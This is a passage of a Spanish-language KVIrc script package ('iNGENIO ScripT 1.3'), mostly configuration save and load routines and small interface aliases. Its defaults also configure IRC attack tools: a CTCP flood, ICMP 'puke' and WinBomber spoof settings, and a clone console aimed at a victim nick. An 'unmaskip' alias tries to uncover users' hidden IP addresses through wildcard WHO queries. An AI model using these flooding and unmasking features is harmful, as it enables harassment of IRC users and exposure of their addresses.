	config b s_clones_found %Id_conf->%le_s_clones_found->$text()
	config b s_serv_sonido %Id_conf->%le_serv_sonido->$text()
	}
if ("$1"=="g_canales") {
#cantidad de veces
if ("%Id_conf->%canalactual->$text()"=="Por Defecto"){
#	echo GUARDA la configuracion por defecto
	%t=
	%en=b
	}
	else {
#	echo GUARDA un canal especifico: %Id_conf->%canalactual->$text()
	%t=%Id_conf->%canalactual->$text()
	%en="b_cfg_canal_"
	}
config %en%t Ondeopvecesc %Id_conf->%cantdeop->$text()
config %en%t Onopvecesc %Id_conf->%cantop->$text()
config %en%t Onkvecesc %Id_conf->%cantk->$text()
config %en%t Onbanvecesc %Id_conf->%cantban->$text()
#en un tiempo de
config %en%t Ondeoptime %Id_conf->%timedeop->$text()
config %en%t Onoptime %Id_conf->%timeop->$text()
config %en%t Onktime %Id_conf->%timek->$text()
config %en%t Onbantime %Id_conf->%timeban->$text()
#masdeop take over....
config %en%t Onopaccion %Id_conf->%cb_aciones->$qtproperty(currentItem)
#ol op
config %en%t revlis %Id_conf->%cb_revlis->$isChecked()
config %en%t accesoalcanal %Id_conf->%cb_accesoalcanal->$isChecked()
config %en%t msipa %Id_conf->%cb_msipa->$isChecked()
#protecciones
config %en%t Pantideop %Id_conf->%cb_Pantideop->$isChecked()
config %en%t Pantik %Id_conf->%cb_Pantik->$isChecked()
config %en%t Pantiop %Id_conf->%cb_Pantiop->$isChecked()
config %en%t Pantiban %Id_conf->%cb_Pantiban->$isChecked()
config %en%t banp %Id_conf->%cb_banp->$isChecked()
config %en%t aldeop %Id_conf->%cb_aldeop->$isChecked()
config %en%t pmodos %Id_conf->%cb_pmodos->$isChecked()
config %en%t pop %Id_conf->%cb_pop->$isChecked()
config %en%t ptopic %Id_conf->%cb_ptopic->$isChecked()

#castigos
config %en%t c_massdeop %Id_conf->%cb_c_massdeop->$qtproperty(currentItem)
config %en%t c_massop %Id_conf->%cb_c_massop->$qtproperty(currentItem)
config %en%t c_masskick %Id_conf->%cb_c_masskick->$qtproperty(currentItem)
config %en%t c_massban %Id_conf->%cb_c_massban->$qtproperty(currentItem)
config %en%t c_antiban %Id_conf->%cb_c_antiban->$qtproperty(currentItem)
config %en%t c_aldeop %Id_conf->%cb_c_aldeop->$qtproperty(currentItem)
config %en%t c_pmodos %Id_conf->%cb_c_pmodos->$qtproperty(currentItem)
config %en%t c_ptopic %Id_conf->%cb_c_ptopic->$qtproperty(currentItem)

#al entrar
config %en%t autoclonscan %Id_conf->%cb_autoclonscan->$isChecked()
config %en%t alop %Id_conf->%cb_alop->$isChecked()
}

if ("$1"=="lee_canal") {
if ("%Id_conf->%canalactual->$text()"=="Por Defecto"){
#	echo LEE la configuracion por defecto
	%t=
	%en=b
	}
	else {
#	echo LEE un canal especifico: %Id_conf->%canalactual->$text()
	%t=%Id_conf->%canalactual->$text()
	%en="b_cfg_canal_"
	}
%Id_conf->%cantdeop->$setText($config(%en%t,Ondeopvecesc))
%Id_conf->%cantop->$settext($config(%en%t,Onopvecesc))
%Id_conf->%cantk->$settext($config(%en%t,Onkvecesc))
%Id_conf->%cantban->$settext($config(%en%t,Onbanvecesc))
#en un tiempo de
%Id_conf->%timedeop->$settext($config(%en%t,Ondeoptime))
%Id_conf->%timeop->$settext($config(%en%t,Onoptime))
%Id_conf->%timek->$settext($config(%en%t,Onktime))
%Id_conf->%timeban->$settext($config(%en%t,Onbantime))
#masdeop take over....
%Id_conf->%cb_aciones->$setqtproperty(currentItem,$config(%en%t,Onopaccion))
#ol op
%Id_conf->%cb_revlis->$setChecked($config(%en%t,revlis))
%Id_conf->%cb_accesoalcanal->$setChecked($config(%en%t,accesoalcanal))
%Id_conf->%cb_msipa->$setChecked($config(%en%t,msipa))
#protecciones
%Id_conf->%cb_Pantideop->$setChecked($config(%en%t,Pantideop))
%Id_conf->%cb_Pantik->$setChecked($config(%en%t,Pantik))
%Id_conf->%cb_Pantiop->$setChecked($config(%en%t,Pantiop))
%Id_conf->%cb_Pantiban->$setChecked($config(%en%t,Pantiban))
%Id_conf->%cb_banp->$setChecked($config(%en%t,banp))
%Id_conf->%cb_aldeop->$setChecked($config(%en%t,aldeop))
%Id_conf->%cb_pmodos->$setChecked($config(%en%t,pmodos))
%Id_conf->%cb_pop->$setChecked($config(%en%t,pop))
%Id_conf->%cb_ptopic->$setChecked($config(%en%t,ptopic))
#castigos
%Id_conf->%cb_c_massdeop->$setqtproperty(currentItem,$config(%en%t,c_massdeop))
%Id_conf->%cb_c_massop->$setqtproperty(currentItem,$config(%en%t,c_massop))
%Id_conf->%cb_c_masskick->$setqtproperty(currentItem,$config(%en%t,c_masskick))
%Id_conf->%cb_c_massban->$setqtproperty(currentItem,$config(%en%t,c_massban))
%Id_conf->%cb_c_antiban->$setqtproperty(currentItem,$config(%en%t,c_antiban))
%Id_conf->%cb_c_aldeop->$setqtproperty(currentItem,$config(%en%t,c_aldeop))
%Id_conf->%cb_c_pmodos->$setqtproperty(currentItem,$config(%en%t,c_pmodos))
%Id_conf->%cb_c_ptopic->$setqtproperty(currentItem,$config(%en%t,c_ptopic))
#al entrar
%Id_conf->%cb_autoclonscan->$setChecked($config(%en%t,autoclonscan))
%Id_conf->%cb_alop->$setChecked($config(%en%t,alop))
#Termina leer canal
}

if ("$1"=="crear") {
	%guarda=b
	%lee=a
#cosas solo para crear
config b awayseg $option(iOnIdleAfter)
}
if ("$1"=="actualizar") {
	%guarda=a
	%lee=b
	foreach(%t,$config(a,canales_conf)){
	config -r a_cfg_canal_%t
	}
# si cambia el lag actualizar
	if ($config(b,mlag)!=$config(a,mlag)){
		if($IsConnected){
			killtimer -q lag
			timer -w=$console (lag,$config(b,mlag)) {
				lag
			}
			option szCaptionMessage "iNGENIO ScripT 1.3"
		}	
	}
#cosas solo para actualizar
option iOnIdleAfter $config(b,awayseg)
}

if ("$1"=="crear" || "$1"=="actualizar") {
	# por defecto
	config %guarda Onopaccion $config(%lee,Onopaccion)
	config %guarda canales_conf $config(%lee,canales_conf)
	config %guarda nmapp $config(%lee,nmapp)
	config %guarda speed $config(%lee,speed)
	config %guarda mlag $config(%lee,mlag)
	config %guarda mquery $config(%lee,mquery)
	config %guarda nickcolor $config(%lee,nickcolor)
	config %guarda tipoAdorno $config(%lee,tipoAdorno)
	config %guarda adornanicks $config(%lee,adornanicks)

	#sonido
	config %guarda ruido $config(%lee,ruido)
	config %guarda player $config(%lee,player)
	config %guarda s_san $config(%lee,s_san)
	config %guarda s_attack_detected $config(%lee,s_attack_detected)
	config %guarda s_connect $config(%lee,s_connect)
	config %guarda s_warning $config(%lee,s_warning)
	config %guarda s_disconnect $config(%lee,s_disconnect)
	config %guarda s_medeop $config(%lee,s_medeop)
	config %guarda s_mejoin $config(%lee,s_mejoin)
	config %guarda s_mekick $config(%lee,s_mekick)
	config %guarda s_meop $config(%lee,s_meop)
	config %guarda s_mepart $config(%lee,s_mepart)
	config %guarda s_onquery $config(%lee,s_onquery)
	config %guarda s_shutdown $config(%lee,s_shutdown)
	config %guarda s_startup $config(%lee,s_startup)
	config %guarda s_clones_found $config(%lee,s_clones_found)
	config %guarda s_serv_sonido $config(%lee,s_serv_sonido)

	#Castigos
	config %guarda c_massdeop $config(%lee,c_massdeop)
	config %guarda c_massop $config(%lee,c_massop)
	config %guarda c_masskick $config(%lee,c_masskick)
	config %guarda c_massban $config(%lee,c_massban)
	config %guarda c_antiban $config(%lee,c_antiban)
	config %guarda c_aldeop $config(%lee,c_aldeop)
	config %guarda c_pmodos $config(%lee,c_pmodos)
	config %guarda c_ptopic $config(%lee,c_ptopic)
	# Protecciones 
	config %guarda pantideop $config(%lee,pantideop)
	config %guarda pantiop $config(%lee,pantiop)
	config %guarda pantik $config(%lee,pantik)
	config %guarda pantiban $config(%lee,pantiban)
	config %guarda banp $config(%lee,banp)
	config %guarda aldeop $config(%lee,aldeop)
	config %guarda pmodos $config(%lee,pmodos)
	config %guarda pop $config(%lee,pop)
	config %guarda ptopic $config(%lee,ptopic)
	#veces
	config %guarda onkvecesc $config(%lee,onkvecesc)
	config %guarda onbanvecesc $config(%lee,onbanvecesc)
	config %guarda onopvecesc $config(%lee,onopvecesc)
	config %guarda ondeopvecesc $config(%lee,ondeopvecesc)
	#En un tiempo de 
	config %guarda onbantime $config(%lee,onbantime)
	config %guarda ondeoptime $config(%lee,ondeoptime)
	config %guarda onoptime $config(%lee,onoptime)
	config %guarda onktime $config(%lee,onktime)
	#al Obtener Op acciones
	config %guarda revlis $config(%lee,revlis)
	#Cuando alguien entra al Canal
	config %guarda autoclonscan $config(%lee,autoclonscan)
	config %guarda alop $config(%lee,alop)
	#ms chat al op aciones
	config %guarda accesoalcanal $config(%lee,accesoalcanal)
	config %guarda msipa $config(%lee,msipa)
	#puke
	config %guarda pukeicmp $config(%lee,pukeicmp)
	config %guarda pukepa $config(%lee,pukepa)
	config %guarda pukepb $config(%lee,pukepb)

	#personales
	config %guarda correoelectronico $config(%lee,correoelectronico)
	config %guarda paginaweb $config(%lee,paginaweb)
	config %guarda usuariox $config(%lee,usuariox)
	config %guarda autoentrar $config(%lee,autoentrar)
		#canal
	config %guarda formatoCanalactivo $config(%lee,formatoCanalactivo)
	config %guarda formatoCanalnegrita $config(%lee,formatoCanalnegrita)
	config %guarda formatoCanalsubrayado $config(%lee,formatoCanalsubrayado)
	config %guarda formatoCanalcolor $config(%lee,formatoCanalcolor)
	config %guarda formatoCanalfondo $config(%lee,formatoCanalfondo)
		#query
	config %guarda formatoQueryactivo $config(%lee,formatoQueryactivo)
	config %guarda formatoQuerynegrita $config(%lee,formatoQuerynegrita)
	config %guarda formatoQuerysubrayado $config(%lee,formatoQuerysubrayado)
	config %guarda formatoQuerycolor $config(%lee,formatoQuerycolor)
	config %guarda formatoQueryfondo $config(%lee,formatoQueryfondo)

	#ctcp flood
	config %guarda ftipo $config(%lee,ftipo)
	config %guarda fcant $config(%lee,fcant)
	config %guarda fcada $config(%lee,fcada)

	#away
	config %guarda autoaway $config(%lee,autoaway)
	config %guarda awayseg $config(%lee,awayseg)
	config %guarda awaymsg $config(%lee,awaymsg) 
	config %guarda awaynickchange $config(%lee,awaynickchange)
	config %guarda awaynick $config(%lee,awaynick)

	foreach(%t,$config(%lee,canales_conf)){
		#cantidad de veces
		config %guarda"_cfg_canal_"%t ondeopvecesc $config(%lee"_cfg_canal_"%t,Ondeopvecesc)
		config %guarda"_cfg_canal_"%t onopvecesc $config(%lee"_cfg_canal_"%t,Onopvecesc)
		config %guarda"_cfg_canal_"%t onkvecesc $config(%lee"_cfg_canal_"%t,Onkvecesc)
		config %guarda"_cfg_canal_"%t onbanvecesc $config(%lee"_cfg_canal_"%t,Onbanvecesc)
		#en un tiempo de
		config %guarda"_cfg_canal_"%t ondeoptime $config(%lee"_cfg_canal_"%t,Ondeoptime)
		config %guarda"_cfg_canal_"%t onoptime $config(%lee"_cfg_canal_"%t,Onoptime)
		config %guarda"_cfg_canal_"%t onktime $config(%lee"_cfg_canal_"%t,Onktime)
		config %guarda"_cfg_canal_"%t onbantime $config(%lee"_cfg_canal_"%t,Onbantime)
		#masdeop take over....
		config %guarda"_cfg_canal_"%t onopaccion $config(%lee"_cfg_canal_"%t,Onopaccion)
		#ol op
		config %guarda"_cfg_canal_"%t revlis $config(%lee"_cfg_canal_"%t,revlis)
		config %guarda"_cfg_canal_"%t accesoalcanal $config(%lee"_cfg_canal_"%t,accesoalcanal)
		config %guarda"_cfg_canal_"%t msipa $config(%lee"_cfg_canal_"%t,msipa)
		#protecciones
		config %guarda"_cfg_canal_"%t pantideop $config(%lee"_cfg_canal_"%t,pantideop)
		config %guarda"_cfg_canal_"%t pantik $config(%lee"_cfg_canal_"%t,pantik)
		config %guarda"_cfg_canal_"%t pantiop $config(%lee"_cfg_canal_"%t,pantiop)
		config %guarda"_cfg_canal_"%t pantiban $config(%lee"_cfg_canal_"%t,pantiban)
		config %guarda"_cfg_canal_"%t banp $config(%lee"_cfg_canal_"%t,banp)
		config %guarda"_cfg_canal_"%t aldeop $config(%lee"_cfg_canal_"%t,aldeop)
		config %guarda"_cfg_canal_"%t pmodos $config(%lee"_cfg_canal_"%t,pmodos)
		config %guarda"_cfg_canal_"%t pop $config(%lee"_cfg_canal_"%t,pop)
		config %guarda"_cfg_canal_"%t ptopic $config(%lee"_cfg_canal_"%t,ptopic)

		#castigos
		config %guarda"_cfg_canal_"%t c_massdeop $config(%lee"_cfg_canal_"%t,c_massdeop)
		config %guarda"_cfg_canal_"%t c_massop $config(%lee"_cfg_canal_"%t,c_massop)
		config %guarda"_cfg_canal_"%t c_masskick $config(%lee"_cfg_canal_"%t,c_masskick)
		config %guarda"_cfg_canal_"%t c_massban $config(%lee"_cfg_canal_"%t,c_massban)
		config %guarda"_cfg_canal_"%t c_antiban $config(%lee"_cfg_canal_"%t,c_antiban)
		config %guarda"_cfg_canal_"%t c_aldeop $config(%lee"_cfg_canal_"%t,c_aldeop)
		config %guarda"_cfg_canal_"%t c_pmodos $config(%lee"_cfg_canal_"%t,c_pmodos)
		config %guarda"_cfg_canal_"%t c_ptopic $config(%lee"_cfg_canal_"%t,c_ptopic)
		
		#al entrar
		config %guarda"_cfg_canal_"%t autoclonscan $config(%lee"_cfg_canal_"%t,autoclonscan)
		config %guarda"_cfg_canal_"%t alop $config(%lee"_cfg_canal_"%t,alop)
		}
}
if ("$1"=="pordefecto") {
	#guarda no varia
	%colorfondo=$config(a,colorfondo)

	#borra todo
	config -r
	# no varian
	config a colorfondo %colorfondo
	config a sver 2.0
	config a kver 2.1.x
	# por defecto
	config a canales_conf ","
	config a nmapp "-O -F"
	config a speed 3000
	config a mlag 90000
	config a mquery 15
	config a nickcolor 1
	config a tipoAdorno 0
	config a adornanicks 0

	#sonido
	config a player 0
	config a ruido 1
	config a s_san $KVIrcDir"/audio/bell.wav"
	config a s_attack_detected $KVIrcDir"/audio/attack_detected.wav"
	config a s_connect $KVIrcDir"/audio/connected.wav"
	config a s_warning $KVIrcDir"/audio/warning.wav"
	config a s_disconnect $KVIrcDir"/audio/disconnected.wav"
	config a s_medeop $KVIrcDir"/audio/deopped.wav"
	config a s_mejoin $KVIrcDir"/audio/joining_channel.wav"
	config a s_mekick $KVIrcDir"/audio/kick.wav"
	config a s_meop $KVIrcDir"/audio/opped.wav"
	config a s_mepart $KVIrcDir"/audio/leaving_channel.wav"
	config a s_onquery $KVIrcDir"/audio/snd_query.wav"
	config a s_shutdown $KVIrcDir"/audio/goodbye.wav"
	config a s_startup $KVIrcDir"/audio/welcome.wav"
	config a s_clones_found $KVIrcDir"/audio/clones_found.wav"
	config a s_serv_sonido "localhost"
	#Castigos
	config a c_massdeop 0
	config a c_massop 0
	config a c_masskick 0
	config a c_massban 0
	config a c_antiban 0
	config a c_aldeop 0
	config a c_pmodos 0
	config a c_ptopic 0
	# Protecciones 
	config a Pantideop 1
	config a Pantiop 1
	config a Pantik 1
	config a Pantiban 1
	config a banp 1
	config a aldeop 1
	config a pmodos 0
	config a pop 0
	config a ptopic 0
	#veces
	config a Onkvecesc 3
	config a Onbanvecesc 3
	config a Onopvecesc 3
	config a Ondeopvecesc 2
	#En un tiempo de 
	config a Onbantime 4000
	config a Ondeoptime 4000
	config a Onoptime 4000
	config a Onktime 4000
	#al Obtener Op acciones
	config a Onopaccion 0
	config a revlis 1
	#Cuando alguien entra al Canal
	config a autoclonscan 0
	config a alop 1
	#ms chat al op aciones
	config a accesoalcanal 0
	config a msipa 0
	#puke
	config a pukeicmp 2
	config a pukepa 1450
	config a pukepb 1000
	#personales
	config a correoelectronico "Sin Ingresar"
	config a paginaweb "Sin Ingresar"
	config a usuariox '\^3c
	config a autoentrar "#linux"
		#canal
	config a formatoCanalactivo 0
	config a formatoCanalnegrita 0
	config a formatoCanalsubrayado 0
	config a formatoCanalcolor 1
	config a formatoCanalfondo 
		#query
	config a formatoQueryactivo 0
	config a formatoQuerynegrita 0
	config a formatoQuerysubrayado 0
	config a formatoQuerycolor 1
	config a formatoQueryfondo 
	#ctcp flood
	config a ftipo PING
	config a fcant 20
	config a fcada 1
	#Ataques
	config a winbomberspoof 127.0.0.1
	config a moyaric 900000
	config a sinspoof 1
	config a consealt 900000
	#consola de clones
	#  echo nick de los clones 
	config a clones_nick floddy
	#  echo numero de clones 
	config a clones_nclones 5 
	#  echo nick de la victima
	config a clones_nvictima "Nick_que_Quieras"
	#  echo cuando 
	config a clones_cb_cuando 0
	#  echo entra canal sn
	config a clones_ecanal 1
	#  echo canal que auto entra 
	config a clones_acanal "#linux"
	#  echo privado sn
	config a clones_aprivado 0 
	#  echo texto que manda
	config a clones_aptexto "Blablabla"
	#  echo ctcp sn 
	config a clones_actcp 0
	#  echo ctcp tipo
	config a clones_cb_ctcptipo 0
	#  echo desconecta al enviar
	config a clones_adesconecta 0
	#  echo manual entra a canal $this->%papa->%mcanal->$text()
	config a clones_mcanal "#linux"
	#  echo manual privado cada $this->%papa->%pcada->$text()
	config a clones_pcada "1000"
	#  echo manual privado texto $this->%papa->%ptexto->$text()
	config a clones_ptexto "Blablabla"
	#  echo manual ctcp cada $this->%papa->%ccada->$text()
	config a clones_ccada "1000"
	#  echo manual ctcp tipo $this->%papa->%cb_ctcptipom->$qtproperty(currentItem)
	config a clones_cb_ctcptipom 0
	#AWAY
	config a autoaway 1
	config a awayseg 600
	config a awaymsg "Estoy Ausente - Pronto te contesto..."
	config a awaynickchange 0
	config a awaynick "mi-nick-Away"

}
if ("$1"=="borrar") {
	foreach(%t,$config(b,canales_conf)){
		config -r b_cfg_canal_%t
		}
	config -r b
}

[ENDALIAS]
[ALIAS textopausado bytes 2615]
If ("%Nicktextopausado"==""){

if ("%XX"=="") %XX=20;
if ("%YY"=="") %YY=100;
%textopausado = $new(widget,$root,textopausado)
%textopausado->$setCaption(Envia texto pausado a: $1)
%textopausado->$setGeometry(%XX,%YY,1,1)
%Nicktextopausado=$1


obj_setevent(%textopausado, OnClose){
%Nicktextopausado=
killtimer -q tpau*
 	}
%textopausado->$show()


#layout
%l = $new(layout,%textopausado,layout_l_tp)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

#victima
%label = $new(label,%textopausado,name_label,Hacer pausa de (en segundos))
%l->$addMulticell(%label,2,2,0,20)
%label->$show()
# edit
%textopausado->%pausa = $new(lineedit,%textopausado,le_pausa,$calc($config(a,speed)/1000))
%l->$addMultiCell(%textopausado->%pausa,2,2,21,30)
%textopausado->%pausa->$setqtproperty(alignment,AlignRight)
%textopausado->%pausa->$show()

#linea h
%linea1 = $new(label,%textopausado,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,3,3,0,90)
%linea1->$show()

#etiqueta
%label = $new(label,%textopausado,name_label,Texto que deseas enviar:   \(Cerrar mientras envias\, Cancela!\) )
%l->$addMulticell(%label,4,4,0,90)
%label->$show()

# multilineedit
# edit
%textopausado->%texto = $new(multilineedit,%textopausado,le_texto,)
%l->$addMultiCell(%textopausado->%texto,5,90,1,87)
#%textopausado->%pausa->$setqtproperty(alignment,AlignRight)
%textopausado->%texto->$show()

# cancelar boton
%b_cancelar=$new(button,%textopausado,b_cancelar,Cancelar)
%l->$addMultiCell(%b_cancelar,91,91,74,80)
%b_cancelar->$show()

obj_setevent(%b_cancelar,OnClick) {
%id=$this->$parent()
destroy %id
%Nicktextopausado=
killtimer -q tpau*
}


# Enviar boton
%b_enviar=$new(button,%textopausado,b_enviar,Enviar)
%l->$addMultiCell(%b_enviar,91,91,82,88)
%b_enviar->$show()

obj_setevent(%b_enviar,OnClick) {
%id=$this->$parent()
if ($strFind(%Nicktextopausado,$AllWindows)==-1) query %Nicktextopausado
if ("%id->%texto->$text()"!="") {
	
%texto=%id->%texto->$text()
%velo=$calc(%id->%pausa->$text()*1000)
%fa=$strLen(%texto)
%lin=1

while(%fa >0){
%linea=$StrFind($LF,%texto);

if (%linea>0) {
   timer -s (tpau%Num%lin,$Calc(%velo*%lin),$strLeft(%linea,%texto)){
	msg %Nicktextopausado $timermagic;
	}
}
else {
	if (%linea==0) timer -s (tpau%Num%lin,$Calc(%velo*%lin)) msg %Nicktextopausado $char(0160);
	if (%linea==-1) {
		timer -s (tpau%Num%lin,$Calc(%velo*%lin),%texto) msg %Nicktextopausado $timermagic;
		%texto="";
		%linea=0;
		%fa=0;
		}
	}

%texto=$strMid($Calc(%linea+1),%fa,%texto);
%fa=$strLen(%texto);
%lin++;
%Num++;
}
}
if (%Num>90000) %Num=1;

}
#fin del si no hay otra!
}
[ENDALIAS]
[ALIAS toolbar bytes 1144]
#proxima tool bar de OP

 class -o (mytoolbar,toolbar)
 {
     function(constructor)
     {
         $this->$newButton(OP-DEOP,op-deop.png)
         $this->$newButton(Voice-DeVoice,voice-devoice.png)
         $this->$newButton(Kick,kick.png)
         $this->$newButton(Banea,ban.png)
         $this->$newButton(Kick-Ban,kick-ban.png)
     }
 
     function(newButton)
     {
         %btn = $new(toolbutton,$this,button_$1,$2,$1)
         connect %btn clicked $this buttonSlot
     }
 
     function(buttonSlot)
     {
	echo "Clicked button \"$signalSender->$text()\""
	echo $signalSender->$text()
	if ("$signalSender->$text()"=="OP-DEOP"){
		%tmp=$selected($activewindow);
		foreach(%tmp2,%tmp) if ($isOp($activewindow,%tmp2)) {
		       %listaop<,%tmp2;
 		        }
		else {
                   %listadeop<,%tmp2;
		        }
		#%listaop=$strReplace(%listaop,$mynick,"");
		if ("%listaop"!=""){
		     deop $activewindow %listaop;
		}
		if ("%listadeop"!=""){
		     op $activewindow %listadeop;
		}

	} #del if


     }
 }
 
 %bar = $new(mytoolbar,$root,TestToolbar)
 %bar->$setDockEnabled(right,0)
 %bar->$dock(right)
 %bar->$show()








[ENDALIAS]
[ALIAS ucentral bytes 2630]
#u central alias
awhois ($1) {
  if("$whoissuccess" == "1"){

		%ucentral = $new(widget,$root,ucentral)

		%l = $new(layout,%ucentral,l_ucentral)
		# nick
		%label = $new(label,%ucentral,nick_label,Nick:)
		%l->$add(%label,0,0)
		%label->$show()
		%ucentral->%edit = $new(lineedit,%ucentral,nick_edit,$whoisNick)
		%l->$addMultiCell(%ucentral->%edit,0,0,1,150)
		%ucentral->%edit->$show()
		# nombre
		%label = $new(label,%ucentral,nombre_label,Nombre:)
		%l->$add(%label,1,0)
		%label->$show()
		%ucentral->%edit = $new(lineedit,%ucentral,nombre_edit,$whoisreal)
		%l->$addMultiCell(%ucentral->%edit,1,1,1,150)
		%ucentral->%edit->$show()
		# direccion
		%label = $new(label,%ucentral,direccion_label,Direccion:)
		%l->$add(%label,2,0)
		%label->$show()

		%ucentral->%edit = $new(lineedit,%ucentral,direccion_edit,$whoisuser\@$whoishost)
		%l->$addMultiCell(%ucentral->%edit,2,2,1,150)
		%ucentral->%edit->$show()

		#canales
		%label = $new(label,%ucentral,canales_label,Canales:)
		%l->$add(%label,3,0)
		%label->$show()
		%ucentral->%edit = $new(lineedit,%ucentral,canales_edit,$whoisChannels)
		%l->$addMultiCell(%ucentral->%edit,3,3,1,150)
		%ucentral->%edit->$show()
		# tiempo
		%label = $new(label,%ucentral,tiempo_label,Tiempo Idle:)
		%l->$add(%label,4,0)
		%label->$show()
		# and the name edit fileld
		%ucentral->%edit = $new(lineedit,%ucentral,tiempo_edit,$durationtostring($whoisidle))
		%l->$addMultiCell(%ucentral->%edit,4,4,1,150)
		%ucentral->%edit->$show()

		# servidor
		%label = $new(label,%ucentral,servidor_label,Servidor:)
		%l->$add(%label,5,0)
		%label->$show()
		%ucentral->%edit = $new(lineedit,%ucentral,servidor_edit,$whoisServer)
		%l->$addMultiCell(%ucentral->%edit,5,5,1,150)
		%ucentral->%edit->$show()

		# estado
		%label = $new(label,%ucentral,estado_label,Estado:)
		%l->$add(%label,6,0)
		%label->$show()
		# and the name edit fileld
		if ($whoisIrcOp!=1) %estado=Usuario Normal
			else %estado=Irc Cop
		%ucentral->%edit = $new(lineedit,%ucentral,estado_edit,%estado)
		%l->$addMultiCell(%ucentral->%edit,6,6,1,150)
		# away msg
		if ("$whoisStatus"!="") {
		%label = $new(label,%ucentral,away_label,Away info:)
		%l->$add(%label,7,0)
		%label->$show()
		%ucentral->%edit = $new(lineedit,%ucentral,away_edit,$whoisStatus)
		%l->$addMultiCell(%ucentral->%edit,7,7,1,150)
		%sigue_en=8
		} else %sigue_en=7
		%ucentral->%edit->$show()


		# adjust the layout...
		%l->$setColStretch(1,1)
		%ucentral->$setCaption(U Central: $whoisNick)
		%l->$setSpacing(2)
		%l->$setMargin(6)
		#geometria
	#	%ucentral->$setGeometry(150,150,350,0)
		# and automatically show up
		%ucentral->$show(1)
	}
}
[ENDALIAS]
[ALIAS ul bytes 85]
If (!$iswindow(*ul)) {
window *ul open;
window *ul input off;
window *ul list off;
}

[ENDALIAS]
[ALIAS unmaskip bytes 1438]
#$1 ip          $2 nick

If ("%Unmasknick"!="") {
	echo -w=@console Ya hay un Unmask-IP/Host en curso...;
	echo -w=@console Para detenerlo presione F7.;
	halt;
}

%ip=$1;
%nick=$2;
%Unmasknick=%nick;
%Unmaskip=%ip;

%ipe=$strrightfromlast(".",%ip);
%ips=$strlefttofirst(".",%ip);
%Unmaskstring=e;
If ($calc("%ipe"@="X") || $calc("%ipe"@="XX") || $calc("%ipe"@="XXX")) %Unmaskstring=0;
if ($strfindCS("xx",%ips)!=-1) %Unmaskstring=1;
If ("%Unmaskstring"=="e") {echo -w=@console -i=2 $K\0,4(Error inesperado en este Host/IP);halt;};
if (%Unmaskstring) {
	%Unmaskci=$strReplace($strrightfromfirst(".",%ip),".","?");
	%UnmaskTam=$strLen($strlefttofirst(".",%ip));
	%Unmask=0;
	%Unmaskn=0;
	%Unmaske="?";
	%Unmaskwho="*"%Unmask%Unmaske%Unmaskci"*";
	who %Unmaskwho;
}
else {
	%Unmaskci=$strReplace($strlefttolast(".",%ip),".","?");
	%UnmaskTam=$strLen($strrightfromlast(".",%ip));
	If(%Unmasktam==1) {
		%Unmask=0;
		%Unmaske="?";
		%Unmaskn=1;
		%Unmaskwho="*"%Unmaskci"?"%Unmask"*";
		who %Unmaskwho;
	}
	If(%Unmasktam==2) {
		%Unmask=1;
		%Unmaskn=2;
		%Unmaske="?";
		%Unmaskwho="*"%Unmaskci%Unmaske%Unmask"*";
		who %Unmaskwho;
	}
	If(%Unmasktam==3) {
		%Unmask=1;
		%Unmaskn=3;
		%Unmaske="?";
		%Unmaskwho="*"%Unmaskci%Unmaske%Unmask"*";
		who %Unmaskwho;
	}
}
ul;
window *ul caption Unmask-Log (Nick: %Unmasknick) (F7) Detiene...;
echo -w=*ul IP/Host: %ip;
echo -w=*ul Probando con: %Unmaskwho;
%Unmaskav=0;
%Unmaskl=-1;
%Unmaskfin=0;

[ENDALIAS]
[ALIAS uw bytes 11]
ucentral $1
[ENDALIAS]
